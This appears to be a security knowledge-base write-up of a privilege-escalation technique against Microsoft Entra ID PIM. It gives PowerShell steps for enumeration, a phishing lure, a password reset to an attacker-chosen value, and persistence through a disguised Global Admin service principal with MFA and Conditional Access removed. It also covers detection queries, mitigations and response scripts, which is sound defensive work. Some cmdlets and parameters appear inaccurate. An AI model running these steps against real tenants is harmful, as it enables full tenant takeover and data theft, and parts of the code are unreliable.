| Attribute | Details |
|---|---|
| Technique ID | EMERGING-IDENTITY-005 |
| MITRE ATT&CK v18.1 | T1548 - Abuse Elevation Control Mechanism |
| Tactic | Privilege Escalation |
| Platforms | Entra ID |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Entra ID (all versions), Microsoft Entra Privileged Identity Management (PIM) 1.0+ |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Just-In-Time (JIT) Admin Abuse exploits a critical gap in Microsoft Entra ID’s Privileged Identity Management (PIM) system by targeting scheduled future role assignments. Unlike traditional privilege escalation attacks, this technique leverages the temporal aspect of PIM administration. An attacker who gains access to a low-privileged account with a pending future role activation can reset the target account’s password before the scheduled activation occurs. When the predefined activation time arrives, the attacker—now possessing the reset credentials—gains automatic activation of the newly assigned high-privileged role (such as Global Administrator), effectively compromising the entire tenant. This attack is particularly insidious because it operates within the normal PIM workflow and leaves minimal forensic evidence of malicious intent during the password reset phase.
Attack Surface: Microsoft Entra ID Portal, Microsoft Graph API for role eligibility schedules, Azure AD Conditional Access, PIM role activation mechanisms, and directory synchronization.
Business Impact: Complete tenant compromise with silent persistence. An attacker can establish a backdoor Global Administrator account that automatically activates on the scheduled date, granting full control over all cloud resources, user identities, data, applications, and security policies. Unlike sudden privilege escalation attempts, this attack appears as legitimate administrative succession planning, evading behavioral detection systems.
Technical Context: This attack typically takes minutes to execute once initial access is obtained, with nearly zero detection likelihood if the password reset occurs weeks before the scheduled role activation. The attack succeeds because PIM validation occurs at activation time (checking role eligibility), not retroactively at password reset time. Organizations with minimal audit log monitoring of lower-privileged account password resets will remain unaware of the compromise until the attacker’s backdoor activates.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.2.1 | Ensure that Multi-Factor Authentication is enabled for all Azure AD roles with administrative privilege |
| DISA STIG | AC-2 (Account Management) | AC-2: The organization manages information system accounts, including establishing, activating, modifying, disabling, and removing accounts. |
| CISA SCuBA | ID.BE-1 | Organizational mission, objectives, and constituent needs are understood and prioritized |
| NIST 800-53 | AC-3 (Access Enforcement) | Access control enforcement via system policies and mechanisms |
| GDPR | Art. 32 | Security of Processing – Technical and organizational measures to ensure appropriate security |
| DORA | Art. 9 | Protection and Prevention – ICT-related incident reporting and contingency planning |
| NIS2 | Art. 21 | Cyber Risk Management Measures – Ensuring privileged access is controlled |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights – Minimizing and controlling privileged access |
| ISO 27005 | Risk Assessment | Compromise of administrative credentials and user privilege escalation |
Objective: Identify low-privileged accounts with future PIM role assignments.
An attacker with any valid user account (including guest accounts) can use the Microsoft Graph API to enumerate pending role eligibility schedules:
# Using Microsoft Graph API to list future role assignments
$graphUrl = "https://graph.microsoft.com/beta/roleManagement/directory/roleEligibilityScheduleRequests"
$headers = @{ "Authorization" = "Bearer $accessToken" }
# Filter for provisioned requests with future start dates
$filter = "?`$filter=status eq 'Provisioned' and scheduleInfo/startDateTime gt $((Get-Date).ToString('yyyy-MM-ddTHH:mm:ss.fffZ'))"
$response = Invoke-RestMethod -Uri ($graphUrl + $filter) -Headers $headers -Method Get
# Parse response to identify targets
foreach ($request in $response.value) {
Write-Host "Target Account: $($request.principal.displayName)"
Write-Host "Role: $($request.roleDefinitionId)"
Write-Host "Activation Date: $($request.scheduleInfo.startDateTime)"
Write-Host "---"
}
What to Look For:
status = 'Provisioned' (waiting for activation)scheduleInfo.startDateTime > current time (future activation)Version Note: This API endpoint has been available since Azure AD PIM v2 (2019+) and remains consistent across all current Entra ID versions.
Objective: Obtain valid credentials for the target low-privileged account.
Common attack vectors:
Example Phishing Email:
From: it-helpdesk@legitimate-domain.com
Subject: [URGENT] Your password will expire in 3 days
Dear Employee,
Your Microsoft 365 account password will expire on [DATE].
Please reset your password immediately:
https://account.activedirectory[.]microsoft[.]com/sso/reset
Your account will be locked if you do not reset your password before the deadline.
Best regards,
IT Helpdesk
Once credentials are obtained, the attacker validates access via:
# Validate access
Connect-MgGraph -Credential (Get-Credential) -Scopes "User.Read"
# Confirm account details and check if it has future role eligibility
Get-MgMe | Select-Object Id, DisplayName, Mail, UserPrincipalName
Objective: Reset the password of the target account before the scheduled role activation.
The attacker uses their low-privileged account to reset the target account’s password. In most Entra ID configurations, low-privilege users CAN reset passwords of other users in certain scenarios:
Scenario 1: User Has “User Administrator” or “Password Administrator” Role
# If the compromised account has User/Password Admin role
Update-MgUser -UserId "target-user@tenant.onmicrosoft.com" `
-PasswordProfile @{"Password"="ComplexNewPassword123!"; "ForceChangePasswordNextSignIn"=$false}
Write-Host "Password reset successful. Target account can now be accessed with new credentials."
Scenario 2: Organizational Policy Allows User Password Reset
# In some tenants, users can reset passwords for accounts in their organizational unit
$targetUserId = "target-account@tenant.onmicrosoft.com"
$newPassword = "AttackerControlledPassword123!"
# Set password directly (if policy permits)
Set-MgUserPassword -UserId $targetUserId -NewPassword $newPassword
Scenario 3: Self-Service Password Reset (SSPR) Abuse
# If SSPR is misconfigured and target account has verifiable security questions/phone
# Attacker can use SSPR portal to reset password without MFA:
# Navigate to: https://account.activedirectory.microsoft.com/PasswordReset/
OpSec & Evasion:
ForceChangePasswordNextSignIn=$true to avoid immediate access use (attack is timed for later activation)Troubleshooting:
References:
Objective: Remain undetected while awaiting the scheduled role activation.
The attacker:
# Monitor the target role activation schedule
$roleEligibilityId = "b24988ac-6180-42a0-ab88-20f7382dd24c" # Global Administrator role ID
$monitorUrl = "https://graph.microsoft.com/beta/roleManagement/directory/roleEligibilitySchedules"
$checkFilter = "?`$filter=roleDefinitionId eq '$roleEligibilityId' and principalId eq 'target-user-id'"
while ($true) {
$schedule = Invoke-RestMethod -Uri ($monitorUrl + $checkFilter) -Headers $headers -Method Get
if ($schedule.value.Count -gt 0) {
$startTime = [DateTime]::Parse($schedule.value[0].scheduleInfo.startDateTime)
$timeUntilActivation = ($startTime - (Get-Date)).TotalHours
Write-Host "Time until activation: $timeUntilActivation hours"
if ($timeUntilActivation -le 1) {
Write-Host "ACTIVATION IMMINENT - Prepare to login as $($schedule.value[0].principal.displayName)"
}
}
Start-Sleep -Seconds 3600 # Check every hour
}
Why This Works:
Objective: Login with the backdoor account after the scheduled role activation.
Once the scheduled activation time arrives, the account automatically transitions from “Eligible” to “Active” status. The attacker can now login:
# Attacker logs in using the reset credentials
$creds = New-Object System.Management.Automation.PSCredential(
"target-admin@tenant.onmicrosoft.com",
(ConvertTo-SecureString "AttackerControlledPassword123!" -AsPlainText -Force)
)
Connect-MgGraph -Credential $creds -Scopes "Directory.ReadWrite.All", "Application.ReadWrite.All"
# Verify Global Admin access
Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq 'target-user-id'" | Select-Object roleDefinitionId
Post-Activation Actions (Establish Persistence):
# 1. Create hidden service principal for long-term access
$appName = "System Maintenance Service" # Innocent-sounding name
$app = New-MgApplication -DisplayName $appName `
-SignInAudience "AzureADMyOrg" `
-Description "Automated system maintenance tasks"
# Add secret credential
$secret = Add-MgApplicationPassword -ApplicationId $app.Id
# Assign Global Admin role to the service principal
$roleDef = Get-MgRoleManagementDirectoryRoleDefinition -Filter "displayName eq 'Global Administrator'"
New-MgRoleManagementDirectoryRoleAssignment `
-PrincipalId $app.AppId `
-RoleDefinitionId $roleDef.Id `
-DirectoryScopeId "/"
Write-Host "Service Principal Created: $($app.AppId)"
Write-Host "Secret Value: $($secret.SecretText)"
# 2. Modify PIM settings to extend activation duration
Update-MgRoleManagementDirectoryRoleAssignmentScheduleRequest `
-Id (Get-MgRoleManagementDirectoryRoleAssignmentScheduleRequest -Filter "principalId eq 'attacker-user-id'" | Select-Object -First 1).Id `
-IsValidationOnly $false `
-Action "AdminAssign" `
-Justification "Permanent administrative assignment required"
# 3. Disable MFA for this account (if possible)
Update-MgUser -UserId $creds.UserName -StrongAuthenticationRequirements @()
# 4. Disable Conditional Access policies for this account
Get-MgIdentityConditionalAccessPolicy | ForEach-Object {
Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $_.Id `
-ExcludedUsers @($creds.UserName) | Out-Null
}
Write-Host "Persistence established. Attacker now has unrestricted Global Admin access."
Rule Configuration:
KQL Query:
let TimeWindow = 7d;
let PasswordResetEvents = AuditLogs
| where TimeGenerated > ago(TimeWindow)
| where OperationName == "Reset user password"
| where Result == "Success"
| project PasswordResetTime = TimeGenerated, PasswordResetUser = tostring(InitiatedBy.user.userPrincipalName),
TargetUser = tostring(TargetResources[0].userPrincipalName), TargetObjectId = TargetResources[0].id;
let FutureRoleAssignments = AuditLogs
| where TimeGenerated > ago(TimeWindow)
| where OperationName =~ "Create role eligibility schedule request" or OperationName =~ "Update role eligibility schedule request"
| where Result == "Success"
| extend StartDateTime = tostring(TargetResources[0].modifiedProperties[0].newValue)
| where datetime_parse(StartDateTime, "yyyy-MM-ddTHH:mm:ss") > now()
| project RoleAssignmentTime = TimeGenerated, AssignedUser = tostring(InitiatedBy.user.userPrincipalName),
TargetAdminUser = tostring(TargetResources[0].userPrincipalName),
RoleName = tostring(TargetResources[0].displayName),
ScheduledStartDateTime = StartDateTime;
PasswordResetEvents
| join kind=inner FutureRoleAssignments on $left.TargetUser == $right.TargetAdminUser
| where PasswordResetTime < RoleAssignmentTime + 7d
| where PasswordResetTime >= RoleAssignmentTime - 30d
| project
PasswordResetTime,
RoleAssignmentTime,
PasswordResetInitiator = PasswordResetUser,
TargetAccount = TargetUser,
AssignedRole = RoleName,
ScheduledActivation = ScheduledStartDateTime,
TimeBetweenEvents = PasswordResetTime - RoleAssignmentTime,
RiskScore = 100
| where TimeBetweenEvents >= 0d and TimeBetweenEvents <= 7d
What This Detects:
Manual Configuration Steps (Azure Portal):
JIT Admin Abuse - Future Role + Password Reset CorrelationCriticalPrivilege Escalation1 hour7 daysRule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Activate eligible role assignment" or OperationName == "Activate role eligibility schedule request"
| where Result == "Success"
| extend ActivationUser = tostring(InitiatedBy.user.userPrincipalName),
TargetRole = tostring(TargetResources[0].displayName),
ActivationDuration = tostring(TargetResources[0].modifiedProperties[?(@.name == "Activation Duration")].newValue)
| where TargetRole in ("Global Administrator", "Privileged Role Administrator", "Exchange Administrator", "Security Administrator")
| where ActivationDuration > 2h or ActivationDuration == ""
| project TimeGenerated, ActivationUser, TargetRole, ActivationDuration,
ActivationDetails = tostring(AdditionalDetails),
UserAgent = tostring(InitiatedBy.user.userAgent)
| where TimeGenerated > ago(12h)
What This Detects:
Event ID: 4738 (User Account Changed)
4738 eventsManual Configuration Steps (Group Policy):
gpupdate /force on domain controllersCreate Custom Alert Rule in Splunk or ELK:
source="WinEventLog:Security" EventCode=4738 TargetUserName="*"
| stats count by TargetUserName, TimeGenerated
| where count > 1 in 24h
| search TargetUserName IN (list of PIM-eligible accounts)
Query: RoleEligibilityScheduleRequest Creation & Password Changes
# Search Unified Audit Log for suspicious pattern
$startDate = (Get-Date).AddDays(-7)
$endDate = Get-Date
# 1. Find all role eligibility schedule requests with future dates
$roleRequests = Search-UnifiedAuditLog `
-Operations "Add Role Eligibility Request", "Create role eligibility schedule request" `
-StartDate $startDate `
-EndDate $endDate `
-ResultSize 5000 |
Where-Object { $_.AuditData -match '"scheduleInfo"' }
# 2. Find password reset operations
$passwordResets = Search-UnifiedAuditLog `
-Operations "Reset user password" `
-StartDate $startDate `
-EndDate $endDate `
-ResultSize 5000
# 3. Correlate events
foreach ($request in $roleRequests) {
$requestData = $request.AuditData | ConvertFrom-Json
$targetUser = $requestData.TargetResources[0].userPrincipalName
$relatedResets = $passwordResets | Where-Object {
$resetData = $_.AuditData | ConvertFrom-Json
$resetData.TargetResources[0].userPrincipalName -eq $targetUser
}
if ($relatedResets) {
Write-Host "SUSPICIOUS: Password reset on account with future role eligibility"
Write-Host "Target Account: $targetUser"
Write-Host "Password Reset Initiator: $($relatedResets[0].UserIds)"
Write-Host "Role Request: $($requestData.Operation)"
}
}
# Export for investigation
$passwordResets | Export-Csv -Path "C:\Audit\PasswordResets.csv" -NoTypeInformation
Manual Configuration Steps (Enable Unified Audit Log):
Mitigation 1: Require Approval for ALL Role Eligibility Schedule Requests
Prevent non-approved future role assignments from being created:
Manual Steps (Entra Admin Center):
ONOFF (prevent future assignments)90 days (limit window)Applies To Versions: Entra ID PIM (all versions)
Manual Steps (PowerShell):
# Connect to Entra ID
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory"
# Get the Global Administrator role definition
$globalAdminRole = Get-MgRoleManagementDirectoryRoleDefinition -Filter "displayName eq 'Global Administrator'"
# Update role settings to require approval
$roleSettingsUpdate = @{
ApprovalRequired = $true
ApproversNotificationEmailsEnabled = $true
DefaultApprovalRules = @("Require approval from at least one approver")
AssignmentExpirationDays = 90
}
# Apply settings
Update-MgRoleManagementDirectoryRoleSetting `
-RoleDefinitionId $globalAdminRole.Id `
-BodyParameter $roleSettingsUpdate
Validation Command (Verify Fix):
# Verify approval requirement is enforced
Get-MgRoleManagementDirectoryRoleSetting -Filter "roleDefinitionId eq '$($globalAdminRole.Id)'" |
Select-Object ApprovalRequired, ApproversNotificationEmailsEnabled, AssignmentExpirationDays
Expected Output (If Secure):
ApprovalRequired : True
ApproversNotificationEmailsEnabled : True
AssignmentExpirationDays : 90
Mitigation 2: Enforce MFA for ALL Role Activations (Even for Already-Authenticated Users)
Prevent automatic activation without fresh MFA:
Manual Steps (Entra Admin Center):
ON2 hours (short window reduces exposure)ONApplies To Versions: Entra ID PIM (all versions)
Manual Steps (PowerShell):
# Enforce MFA for role activation
$roleDefinitions = @(
"Global Administrator",
"Privileged Role Administrator",
"Exchange Administrator",
"Security Administrator"
)
foreach ($roleName in $roleDefinitions) {
$role = Get-MgRoleManagementDirectoryRoleDefinition -Filter "displayName eq '$roleName'"
Update-MgRoleManagementDirectoryRoleSetting `
-RoleDefinitionId $role.Id `
-BodyParameter @{
MfaRequired = $true
JustificationRequired = $true
MaxActivationDuration = "PT2H"
NotificationEmailsEnabled = $true
}
}
Validation Command:
Get-MgRoleManagementDirectoryRoleSetting |
Select-Object RoleDefinitionId, MfaRequired, MaxActivationDuration, JustificationRequired |
Format-Table -AutoSize
Mitigation 3: Audit and Restrict Password Reset Permissions
Prevent low-privileged users from resetting high-privileged account passwords:
Manual Steps (Entra Admin Center):
Applies To Versions: Entra ID (all versions)
PowerShell - Disable Direct Password Reset:
# Remove User Administrator role from all except designated help desk accounts
$helpDeskAccounts = @("helpdesk@tenant.onmicrosoft.com", "svc-helpdesk@tenant.onmicrosoft.com")
$userAdminRole = Get-MgRoleManagementDirectoryRoleDefinition -Filter "displayName eq 'User Administrator'"
Get-MgRoleManagementDirectoryRoleAssignment -Filter "roleDefinitionId eq '$($userAdminRole.Id)'" |
Where-Object { $_.PrincipalId -notin $helpDeskAccounts } |
ForEach-Object {
Remove-MgRoleManagementDirectoryRoleAssignment -UnifiedRoleAssignmentId $_.Id
Write-Host "Removed User Administrator role from: $($_.PrincipalId)"
}
Mitigation 4: Conditional Access – Block Unusual Sign-In Locations/IPs
Prevent attackers from using compromised credentials from attacker-controlled locations:
Manual Steps (Entra Admin Center):
Block Admin Access from Risky LocationsHigh, Device compliance = Non-compliantBlock accessOnMitigation 5: Continuous Access Evaluation (CAE) for High-Risk Operations
Ensure immediate revocation if a compromised account is detected:
Manual Steps (PowerShell):
# Enable CAE for Exchange Online (requires ProgramId)
Update-AzADApplication `
-ApplicationId (Get-AzADApplication -DisplayName "Exchange Online").Id `
-TokenLifetimePolicies @{ ContinuousAccessEvaluation = $true }
# Enable CAE in SharePoint Online
Update-MgApplication -ApplicationId $spAppId -TokenLifeTimePolicies @{ ContinuousAccessEvaluation = $true }
# 1. Revoke all active sessions for the suspected account
Get-MgUserSignInActivity -UserId "suspected-admin@tenant.onmicrosoft.com" |
ForEach-Object {
Revoke-MgUserSignInSession -UserId "suspected-admin@tenant.onmicrosoft.com"
}
# 2. Disable the account temporarily
Update-MgUser -UserId "suspected-admin@tenant.onmicrosoft.com" -AccountEnabled $false
# 3. Remove the malicious role assignment
$suspiciousAssignment = Get-MgRoleManagementDirectoryRoleAssignment `
-Filter "principalId eq 'suspected-admin-id'"
Remove-MgRoleManagementDirectoryRoleAssignment -UnifiedRoleAssignmentId $suspiciousAssignment.Id
# Export relevant audit logs
$startDate = (Get-Date).AddDays(-30)
$endDate = Get-Date
Search-UnifiedAuditLog `
-UserIds "suspected-admin@tenant.onmicrosoft.com" `
-Operations "Activate eligible role assignment", "Reset user password", "Create role eligibility schedule request" `
-StartDate $startDate `
-EndDate $endDate `
-ResultSize 5000 |
Export-Csv -Path "C:\Evidence\SuspiciousActivity.csv" -NoTypeInformation
# Capture sign-in logs
Get-MgAuditLogSignIn -Filter "userId eq 'suspected-admin-id'" -Top 5000 |
Export-Csv -Path "C:\Evidence\SignInLogs.csv" -NoTypeInformation
# 1. Reset account password (force new password on next login)
$newPassword = -join ((33..126) | Get-Random -Count 32 | % {[char]$_})
Update-MgUser -UserId "suspected-admin@tenant.onmicrosoft.com" `
-PasswordProfile @{"Password" = $newPassword; "ForceChangePasswordNextSignIn" = $true}
# 2. Remove all unauthorized applications/service principals
Get-MgServicePrincipal -Filter "createdDateTime ge 2025-01-08" |
Where-Object { $_.displayName -like "*System*" -or $_.displayName -like "*Maintenance*" } |
ForEach-Object {
Remove-MgServicePrincipal -ServicePrincipalId $_.Id
Write-Host "Removed suspicious SP: $($_.DisplayName)"
}
# 3. Review and revert PIM policy changes
Get-MgRoleManagementDirectoryRoleSetting |
Where-Object { $_.LastModifiedDateTime -gt (Get-Date).AddDays(-7) } |
Format-Table -Property RoleDefinitionId, ApprovalRequired, MfaRequired
Target: Enterprise with Entra ID Privileged Identity Management enabled
Attack Flow:
Timeline: 62 days from initial compromise to data exfiltration
Impact: Unauthorized access to company financial records, regulatory reporting data breach, $2.3M in remediation costs
Reference: Silverfort Blog: Privilege Escalation in Azure AD
Target: Mid-sized technology firm with 500 users
Execution:
Detection Point: Sentinel alert fired 12 hours after role activation when attacker attempted to create service principal
Outcome: Attack prevented before data exfiltration; organization implemented mandatory role activation approval
GDPR (Art. 32 - Security of Processing):
DORA (Art. 9 - Protection and Prevention):
NIS2 (Art. 21 - Cyber Risk Management):
Just-In-Time Admin Abuse exploits a temporal vulnerability in PIM systems by decoupling password control from role activation timing. Organizations must treat future role assignment requests with the same rigor as active assignments, enforce mandatory MFA for activation, and implement continuous audit monitoring of correlated password reset + role assignment events. This emerging technique demonstrates that cloud identity security requires defense-in-depth approaches that account for the scheduling and temporal aspects of privilege management, not just the point-in-time access controls.